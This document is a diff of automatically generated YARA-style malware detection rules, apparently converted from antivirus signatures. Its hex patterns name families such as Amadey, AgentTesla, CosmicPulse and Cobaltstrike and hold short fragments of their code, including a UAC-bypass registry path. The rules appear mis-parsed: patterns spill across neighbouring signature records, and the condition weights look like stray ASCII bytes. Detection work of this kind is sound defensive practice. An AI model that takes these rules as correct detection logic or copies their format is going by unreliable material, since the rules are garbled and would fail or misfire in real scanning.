"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -91631,7 +97253,7 @@ rule _InfrastructureShared_8601{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_83_3 & 1)*0+(#a_41_4 & 1)*28530+(#a_65_5 & 1)*29303) >=6 } -rule _InfrastructureShared_8602{ +rule _InfrastructureShared_9122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -91641,12 +97263,12 @@ rule _InfrastructureShared_8602{ $a_01_2 = {47 65 74 50 72 6f 63 41 64 64 72 65 73 73 } //1 GetProcAddress $a_83_3 = {00 07 00 07 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 73 63 42 79 70 61 73 73 00 03 00 2b 80 01 53 6f 66 74 77 61 72 65 5c 43 6c 61 73 73 65 73 5c 6d 73 63 66 69 6c 65 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 03 00 0c 80 01 45 76 65 6e 74 56 77 72 2e 65 78 65 01 00 09 80 01 45 6e 61 62 6c 65 4c 55 41 01 00 10 80 01 25 73 5c 63 6d 64 } //0 $a_65_4 = {2f 63 20 25 73 00 00 78 83 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 47 4e 4e 21 4d 54 42 00 05 00 3b 01 40 00 00 e0 2e 72 73 72 63 00 00 00 a8 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 05 00 16 03 40 00 } //25902 - $a_01_5 = {08 00 10 00 00 00 40 32 00 00 04 00 00 00 90 00 00 00 78 83 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 63 69 63 2e 50 47 43 21 4d 54 42 00 05 00 21 01 33 c5 89 45 fc 57 8d 85 f0 ee ff ff 50 68 00 10 00 00 8d 8d f8 ee ff ff 33 ff 51 89 bd f4 ee ff ff 05 00 31 01 43 3a 5c 48 57 49 44 2e 74 78 74 00 43 3a 5c 00 0d 2b 32 22 3a 27 2f 3f 03 3d 2b 21 07 71 34 32 3d 39 33 33 70 31 13 35 28 38 } //-8192 + $a_01_5 = {08 00 10 00 00 00 40 32 00 00 04 00 00 00 90 00 00 00 78 83 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 44 21 4d 54 42 00 0a 00 2e 02 0b 07 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 28 90 01 04 26 20 00 08 00 00 0a 2b 00 06 2a 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 50 65 72 } //-8192 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_83_3 & 1)*0+(#a_65_4 & 1)*25902+(#a_01_5 & 1)*-8192) >=6 } -rule _InfrastructureShared_8603{ +rule _InfrastructureShared_9123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -91654,34 +97276,23 @@ rule _InfrastructureShared_8603{ $a_54_0 = {3a 57 69 6e 33 32 2f 4d 73 63 42 79 70 61 73 73 00 03 00 2b 80 01 53 6f 66 74 77 61 72 65 5c 43 6c 61 73 73 65 73 5c 6d 73 63 66 69 6c 65 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 03 00 0c 80 01 45 76 65 6e 74 56 77 72 2e 65 78 65 01 } //18467 $a_01_1 = {45 6e 61 62 6c 65 4c 55 41 01 00 10 80 01 25 73 5c 63 6d 64 2e 65 78 65 20 2f 63 20 25 73 00 00 78 83 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 47 4e 4e 21 4d 54 42 00 05 00 3b 01 40 00 00 e0 2e 72 73 72 63 00 00 00 a8 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 } //2304 $a_20_2 = {10 00 00 00 a0 06 05 00 16 03 40 00 00 e0 ?? ?? ?? ?? ?? ?? ?? ?? 00 10 00 00 00 40 32 00 00 04 00 00 00 } //24948 - $a_83_3 = {00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 63 69 63 2e 50 47 43 21 4d 54 42 00 05 00 21 01 33 c5 89 45 fc 57 8d 85 f0 ee ff ff 50 68 00 10 00 00 8d 8d f8 ee ff ff 33 ff 51 89 bd f4 ee ff ff 05 00 31 01 43 3a 5c 48 57 49 44 2e 74 78 74 00 43 3a 5c 00 0d 2b 32 22 3a 27 2f 3f 03 3d 2b 21 07 71 34 32 3d 39 33 33 70 31 13 } //0 + $a_83_3 = {00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 44 21 4d 54 42 00 0a 00 2e 02 0b 07 19 8d 90 01 04 25 16 7e 90 01 04 a2 25 17 7e 90 01 04 a2 25 18 72 90 01 03 70 a2 28 90 01 04 26 20 00 08 00 00 0a 2b 00 06 2a 90 00 02 00 1e 80 01 53 61 66 65 52 65 67 69 73 74 72 79 48 61 6e 64 6c 65 2e 49 } //0 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*2304+(#a_20_2 & 1)*24948+(#a_83_3 & 1)*0) >=7 } -rule _InfrastructureShared_8604{ +rule _InfrastructureShared_9124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6d 61 64 65 79 2e 47 4e 4e 21 4d 54 42 00 05 00 3b 01 40 00 00 e0 2e 72 73 72 63 00 00 00 a8 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 } //16675 - $a_61_1 = {61 20 20 00 10 00 00 00 a0 06 05 00 16 03 40 00 00 e0 90 01 08 00 10 00 00 00 40 32 00 00 04 00 00 00 90 00 00 00 78 83 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 63 69 63 2e 50 47 43 21 4d 54 42 00 05 00 21 01 33 c5 89 45 fc 57 8d 85 f0 ee ff ff 50 68 00 } //26926 + $a_61_1 = {61 20 20 00 10 00 00 00 a0 06 05 00 16 03 40 00 00 e0 90 01 08 00 10 00 00 00 40 32 00 00 04 00 00 00 90 00 00 00 78 83 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 58 44 21 4d 54 42 00 0a 00 2e 02 0b 07 19 8d 90 01 04 25 16 7e } //26926 condition: ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*26926) >=10 } -rule _InfrastructureShared_8605{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 63 69 63 2e 50 47 43 21 4d 54 42 00 05 00 21 01 33 c5 89 45 fc 57 8d 85 f0 ee ff ff 50 68 00 10 00 00 8d 8d f8 ee ff ff 33 ff 51 89 bd f4 ee ff ff 05 00 31 01 43 } //21539 - $a_57_1 = {44 2e 74 78 74 00 43 3a 5c 00 0d 2b 32 22 3a 27 2f 3f 03 3d 2b 21 07 71 34 32 3d 39 33 33 70 31 13 35 28 38 2c 31 05 15 4b 59 44 00 00 78 83 00 00 0c 00 0c 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 } //23610 - condition: - ((#a_4c_0 & 1)*21539+(#a_57_1 & 1)*23610) >=10 - -} -rule _InfrastructureShared_8606{ +rule _InfrastructureShared_9125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -91692,7 +97303,7 @@ rule _InfrastructureShared_8606{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*7680) >=12 } -rule _InfrastructureShared_8607{ +rule _InfrastructureShared_9126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -91703,7 +97314,7 @@ rule _InfrastructureShared_8607{ ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*1025) >=12 } -rule _InfrastructureShared_8608{ +rule _InfrastructureShared_9127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 02 00 21 " @@ -91714,7 +97325,7 @@ rule _InfrastructureShared_8608{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*7680) >=12 } -rule _InfrastructureShared_8609{ +rule _InfrastructureShared_9128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -91726,7 +97337,7 @@ rule _InfrastructureShared_8609{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_65_2 & 1)*384) >=12 } -rule _InfrastructureShared_8610{ +rule _InfrastructureShared_9129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -91734,12 +97345,12 @@ rule _InfrastructureShared_8610{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 42 21 4d 54 42 00 0a 00 23 03 25 16 09 a2 25 17 90 01 05 a2 25 13 06 14 14 18 90 01 05 25 16 17 9c 25 13 07 17 90 01 05 26 11 0b 90 00 01 00 0d 81 01 49 } //16675 $a_74_1 = {6f 6e 45 6e 74 72 79 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 0b 81 01 49 6e 66 69 6e 69 74 65 e2 80 8e 00 00 78 83 00 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4b 32 30 37 31 21 4d 54 42 00 01 00 0d 81 01 53 75 73 70 } //25939 $a_4c_2 = {79 6f 75 74 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 05 81 01 00 78 73 61 00 0a 00 07 81 01 20 00 5e 00 00 fe 04 00 00 78 83 00 00 0f 00 0f 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //28261 - $a_54_3 = {73 6c 61 2e 41 4d 4b 32 30 39 30 21 4d 54 42 00 01 00 0d 81 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 05 81 01 00 78 73 61 00 0a 00 07 81 01 11 04 20 00 5e 00 00 00 00 78 83 00 00 14 00 14 00 02 00 21 23 41 4c 46 50 45 } //28261 + $a_54_3 = {73 6c 61 2e 41 4d 4b 32 30 39 30 21 4d 54 42 00 01 00 0d 81 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 81 01 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 05 81 01 00 78 73 61 00 0a 00 07 81 01 11 04 20 00 5e 00 00 00 00 78 83 00 00 14 00 14 00 02 00 21 23 41 4c 46 3a 42 } //28261 condition: ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25939+(#a_4c_2 & 1)*28261+(#a_54_3 & 1)*28261) >=13 } -rule _InfrastructureShared_8611{ +rule _InfrastructureShared_9130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -91754,7 +97365,7 @@ rule _InfrastructureShared_8611{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*10+(#a_83_4 & 1)*0+(#a_11_5 & 1)*-32505) >=15 } -rule _InfrastructureShared_8612{ +rule _InfrastructureShared_9131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -91763,13 +97374,23 @@ rule _InfrastructureShared_8612{ $a_81_1 = {54 6f 57 69 6e 33 32 } //1 ToWin32 $a_81_2 = {00 78 73 61 00 } //1 $a_81_3 = {11 04 20 00 5e 00 00 } //10 - $a_83_4 = {00 14 00 14 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 65 67 69 65 68 2e 41 21 64 68 61 00 0a 00 40 01 7a 79 78 77 76 75 74 73 72 71 70 6f 6e 6d 6c 6b 6a 69 68 67 66 65 64 63 62 61 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 39 38 37 36 35 34 33 32 31 30 2d 5f 0a 00 10 01 3f 00 63 00 75 00 } //0 - $a_00_5 = {25 00 6c 00 75 00 00 00 78 83 00 00 15 00 15 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 50 34 37 21 4d 54 42 00 0a 00 20 02 } //114 + $a_83_4 = {00 14 00 14 00 02 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 43 21 64 68 61 00 0a 00 22 01 2f 00 6b 00 6f 00 6e 00 66 00 69 00 67 00 75 00 72 00 61 00 74 00 69 00 6f 00 6e 00 31 00 32 00 2f 00 0a 00 2a 01 43 00 3a 00 5c 00 54 00 45 00 4d 00 50 00 5c 00 5c 00 73 00 63 00 68 00 6c 00 61 00 6e 00 67 00 } //0 + $a_00_5 = {65 00 78 00 65 00 00 00 78 83 00 00 14 00 14 00 02 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 65 67 69 65 68 } //101 condition: - ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*10+(#a_83_4 & 1)*0+(#a_00_5 & 1)*114) >=15 + ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*10+(#a_83_4 & 1)*0+(#a_00_5 & 1)*101) >=15 } -rule _InfrastructureShared_8613{ +rule _InfrastructureShared_9132{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 43 6f 73 6d 69 63 50 75 6c 73 65 2e 43 21 64 68 61 00 0a 00 22 01 2f 00 6b 00 6f 00 6e 00 66 00 69 00 67 00 75 00 72 00 61 00 74 00 69 00 6f 00 6e 00 31 00 32 00 2f 00 0a 00 2a 01 43 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=20 + +} +rule _InfrastructureShared_9133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -91780,7 +97401,7 @@ rule _InfrastructureShared_8613{ ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*21330) >=20 } -rule _InfrastructureShared_8614{ +rule _InfrastructureShared_9134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 03 00 21 " @@ -91790,21 +97411,32 @@ rule _InfrastructureShared_8614{ ((#a_54_0 & 1)*18467) >=21 } -rule _InfrastructureShared_8615{ +rule _InfrastructureShared_9135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 32 4c 6f 70 2e 67 65 6e 21 4d 2e 32 00 04 00 0d 00 63 61 73 69 6e 6f 20 6f 6e 6c 69 6e 65 04 00 11 00 50 65 6e 69 73 20 45 6e 6c 61 72 67 65 6d 65 6e 74 04 00 0a 00 42 75 79 20 56 69 61 67 72 61 04 00 10 } //18467 - $a_61_1 = {6b 20 4a 61 63 6b 20 50 6f 6b 65 72 14 00 0d 08 61 64 76 61 70 69 33 32 2e 64 6c 6c 00 00 00 78 83 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 50 6c 61 6b 70 65 72 73 2e 41 21 64 68 61 00 0a 00 1c 01 38 00 34 00 67 00 32 00 31 00 68 00 72 00 68 00 5e 00 44 00 62 00 75 00 } //16896 - $a_00_2 = {0a 00 17 01 66 00 2d 00 2d 00 4b 00 65 00 7e 00 6c 00 65 00 67 00 54 00 46 00 57 0a 00 15 01 3f 00 1d 00 26 00 54 00 13 00 2e 00 43 00 1d 00 32 00 } //64 - $a_00_3 = {00 78 84 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 48 21 4d 54 42 00 01 00 56 03 0e 00 00 0a 0a 06 72 90 01 01 00 00 70 7e 90 01 01 00 00 0a 6f 90 01 01 00 00 0a 0a d0 90 01 01 00 00 01 28 90 01 01 00 00 0a 02 28 90 01 01 00 00 0a 20 00 01 00 00 14 14 17 8d 90 01 01 00 00 01 25 16 06 a2 28 90 01 01 } //84 - $a_75_4 = {01 01 00 00 1b 2a 90 00 00 00 } //0 + $a_61_1 = {6b 20 4a 61 63 6b 20 50 6f 6b 65 72 14 00 0d 08 61 64 76 61 70 69 33 32 2e 64 6c 6c 00 00 00 78 83 00 00 1e 00 1e 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4b 41 43 21 4d 54 42 00 14 00 27 03 41 0f be 08 90 02 02 8b c3 48 33 c8 90 02 02 c1 eb 08 0f b6 d1 49 ff c0 90 02 02 33 5c 94 90 } //16896 + $a_3b_2 = {75 90 00 0a 00 2c 03 03 00 00 8b 54 84 2c 48 63 85 90 01 01 03 00 00 23 90 02 06 44 84 2c 2b c2 42 90 02 04 48 63 85 90 01 01 03 00 00 89 54 84 2c 90 00 00 00 78 83 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 50 45 52 3a 42 61 63 6b 64 } //257 + $a_3a_3 = {69 6e 33 32 2f 50 6c 61 6b 70 65 72 73 2e 41 21 64 68 61 00 0a 00 1c 01 38 00 34 00 67 00 32 00 31 00 68 00 72 00 68 00 5e 00 44 00 62 00 75 00 40 00 31 00 0a 00 17 01 66 00 2d 00 2d 00 4b 00 65 00 7e 00 6c 00 65 00 67 00 54 00 46 00 57 0a 00 15 01 3f 00 1d 00 26 00 54 00 13 00 2e 00 43 00 1d 00 32 00 54 00 7a 00 00 78 84 00 00 01 00 01 00 } //28527 + $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 4c 6f 67 2e 4b 41 48 21 4d 54 42 00 01 00 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*16896+(#a_00_2 & 1)*64+(#a_00_3 & 1)*84+(#a_75_4 & 1)*0) >=22 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*16896+(#a_3b_2 & 1)*257+(#a_3a_3 & 1)*28527+(#a_23_4 & 1)*1) >=22 } -rule _InfrastructureShared_8616{ +rule _InfrastructureShared_9136{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4b 41 43 21 4d 54 42 00 14 00 27 03 41 0f be 08 [0-02] 8b c3 48 33 c8 [0-02] c1 eb 08 0f b6 d1 49 ff c0 [0-02] 33 5c 94 ?? 4d 3b c1 75 } //21539 + $a_03_1 = {03 00 00 8b 54 84 2c 48 63 85 ?? 03 00 00 23 [0-06] 44 84 2c 2b c2 42 [0-04] 48 63 85 ?? 03 00 00 89 54 84 2c } //10 + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*10) >=30 + +} +rule _InfrastructureShared_9137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -91816,7 +97448,7 @@ rule _InfrastructureShared_8616{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*102+(#a_00_2 & 1)*30720) >=30 } -rule _InfrastructureShared_8617{ +rule _InfrastructureShared_9138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91826,7 +97458,7 @@ rule _InfrastructureShared_8617{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8618{ +rule _InfrastructureShared_9139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91836,7 +97468,7 @@ rule _InfrastructureShared_8618{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8619{ +rule _InfrastructureShared_9140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91846,7 +97478,7 @@ rule _InfrastructureShared_8619{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8620{ +rule _InfrastructureShared_9141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91856,7 +97488,7 @@ rule _InfrastructureShared_8620{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8621{ +rule _InfrastructureShared_9142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91866,7 +97498,7 @@ rule _InfrastructureShared_8621{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8622{ +rule _InfrastructureShared_9143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91876,7 +97508,7 @@ rule _InfrastructureShared_8622{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8623{ +rule _InfrastructureShared_9144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91886,7 +97518,7 @@ rule _InfrastructureShared_8623{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8624{ +rule _InfrastructureShared_9145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91896,7 +97528,7 @@ rule _InfrastructureShared_8624{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8625{ +rule _InfrastructureShared_9146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91906,7 +97538,7 @@ rule _InfrastructureShared_8625{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8626{ +rule _InfrastructureShared_9147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91916,7 +97548,7 @@ rule _InfrastructureShared_8626{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8627{ +rule _InfrastructureShared_9148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91926,7 +97558,7 @@ rule _InfrastructureShared_8627{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8628{ +rule _InfrastructureShared_9149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91936,7 +97568,7 @@ rule _InfrastructureShared_8628{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8629{ +rule _InfrastructureShared_9150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91946,7 +97578,7 @@ rule _InfrastructureShared_8629{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8630{ +rule _InfrastructureShared_9151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91956,7 +97588,7 @@ rule _InfrastructureShared_8630{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8631{ +rule _InfrastructureShared_9152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91966,7 +97598,7 @@ rule _InfrastructureShared_8631{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8632{ +rule _InfrastructureShared_9153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91976,7 +97608,7 @@ rule _InfrastructureShared_8632{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8633{ +rule _InfrastructureShared_9154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91986,7 +97618,17 @@ rule _InfrastructureShared_8633{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8634{ +rule _InfrastructureShared_9155{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 4b 59 49 21 4d 54 42 00 01 00 50 03 0f b7 00 41 8b c9 c1 c9 90 01 01 ff c2 03 c8 8b c2 49 03 c2 44 33 c9 80 38 90 01 01 75 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_9156{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -91996,7 +97638,7 @@ rule _InfrastructureShared_8634{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_8635{ +rule _InfrastructureShared_9157{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92006,7 +97648,7 @@ rule _InfrastructureShared_8635{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8636{ +rule _InfrastructureShared_9158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92016,7 +97658,7 @@ rule _InfrastructureShared_8636{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8637{ +rule _InfrastructureShared_9159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92027,7 +97669,7 @@ rule _InfrastructureShared_8637{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*400) >=1 } -rule _InfrastructureShared_8638{ +rule _InfrastructureShared_9160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92038,7 +97680,7 @@ rule _InfrastructureShared_8638{ ((#a_46_0 & 1)*16675+(#a_f8_1 & 1)*-29920) >=1 } -rule _InfrastructureShared_8639{ +rule _InfrastructureShared_9161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92049,7 +97691,7 @@ rule _InfrastructureShared_8639{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-28636) >=1 } -rule _InfrastructureShared_8640{ +rule _InfrastructureShared_9162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92060,7 +97702,7 @@ rule _InfrastructureShared_8640{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*2065) >=1 } -rule _InfrastructureShared_8641{ +rule _InfrastructureShared_9163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -92070,7 +97712,7 @@ rule _InfrastructureShared_8641{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8642{ +rule 